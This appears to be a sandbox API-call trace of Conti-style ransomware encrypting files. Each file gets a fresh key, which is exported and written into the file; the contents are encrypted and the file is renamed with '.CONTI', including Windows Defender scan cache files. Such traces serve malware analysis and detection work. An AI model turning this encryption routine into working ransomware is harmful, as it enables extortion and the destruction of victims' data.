	[0113.660] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.660] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.660] GetProcessHeap () returned 0x1720000
	[0113.660] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.660] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.661] GetProcessHeap () returned 0x1720000
	[0113.661] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5bf0 | out: hHeap=0x1720000) returned 1
	[0113.661] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0113.661] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c7ef0) returned 1
	[0113.661] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x45bfa3c | out: pbData=0x17d2d6c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.661] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.662] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.662] GetLastError () returned 0x0
	[0113.662] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=715) returned 1
	[0113.662] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.662] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.662] SetEndOfFile (hFile=0x404) returned 1
	[0113.662] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.662] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.662] WriteFile (in: hFile=0x404, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.669] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.669] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2cb, lpOverlapped=0x0) returned 1
	[0113.669] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2cb, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0113.669] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.669] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.669] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.669] WriteFile (in: hFile=0x404, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0113.669] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.670] CloseHandle (hObject=0x404) returned 1
	[0113.670] GetProcessHeap () returned 0x1720000
	[0113.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.670] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.670] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.670] GetProcessHeap () returned 0x1720000
	[0113.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.670] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.670] GetProcessHeap () returned 0x1720000
	[0113.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9cd8 | out: hHeap=0x1720000) returned 1
	[0113.671] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0113.671] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c84f0) returned 1
	[0113.671] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x45bfa3c | out: pbData=0x17d48cc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.671] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.672] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.672] GetLastError () returned 0x0
	[0113.672] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=645) returned 1
	[0113.672] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0113.672] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.672] SetEndOfFile (hFile=0x404) returned 1
	[0113.675] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.675] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.675] WriteFile (in: hFile=0x404, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.998] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.004] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x285, lpOverlapped=0x0) returned 1
	[0115.004] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x285, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x290) returned 1
	[0115.004] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.004] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x290, lpOverlapped=0x0) returned 1
	[0115.012] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.012] WriteFile (in: hFile=0x404, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0115.012] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.012] CloseHandle (hObject=0x404) returned 1
	[0115.013] GetProcessHeap () returned 0x1720000
	[0115.013] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0115.013] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml"
	[0115.013] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0115.013] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0117.011] GetProcessHeap () returned 0x1720000
	[0117.011] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.011] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0117.012] GetProcessHeap () returned 0x1720000
	[0117.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5aa8 | out: hHeap=0x1720000) returned 1
	[0117.012] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0117.012] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x6b7f0f8) returned 1
	[0117.012] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x45bfa3c | out: pbData=0x6b534c4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0117.012] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb")) returned 0x20
	[0117.014] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0117.015] GetLastError () returned 0x0
	[0117.015] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=393209) returned 1
	[0117.015] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fff9
	[0117.015] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.015] SetEndOfFile (hFile=0x3fc) returned 1
	[0117.015] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.015] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.015] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b534c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b534c4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.018] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.018] ReadFile (in: hFile=0x3fc, lpBuffer=0xc100000, nNumberOfBytesToRead=0x5fff9, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x5fff9, lpOverlapped=0x0) returned 1
	[0117.025] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x5fff9, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x60000) returned 1
	[0117.025] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.025] WriteFile (in: hFile=0x3fc, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x60000, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x60000, lpOverlapped=0x0) returned 1
	[0117.026] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.027] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b534b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b534b8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0117.027] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.027] CloseHandle (hObject=0x3fc) returned 1
	[0117.027] GetProcessHeap () returned 0x1720000
	[0117.027] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.028] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB"
	[0117.028] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.CONTI"
	[0117.029] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb.conti")) returned 1
	[0117.032] GetProcessHeap () returned 0x1720000
	[0117.032] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.032] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.032] GetProcessHeap () returned 0x1720000
	[0117.032] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c028 | out: hHeap=0x1720000) returned 1
	[0117.032] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0117.032] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x6b7f1f8) returned 1
	[0117.032] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x45bfa3c | out: pbData=0x6b5327c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0117.034] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc")) returned 0x20
	[0117.035] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0117.036] GetLastError () returned 0x0
	[0117.036] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=278945) returned 1
	[0117.036] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x441a1
	[0117.036] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.036] SetEndOfFile (hFile=0x3fc) returned 1
	[0117.036] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.036] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.036] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b5327c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b5327c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.038] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
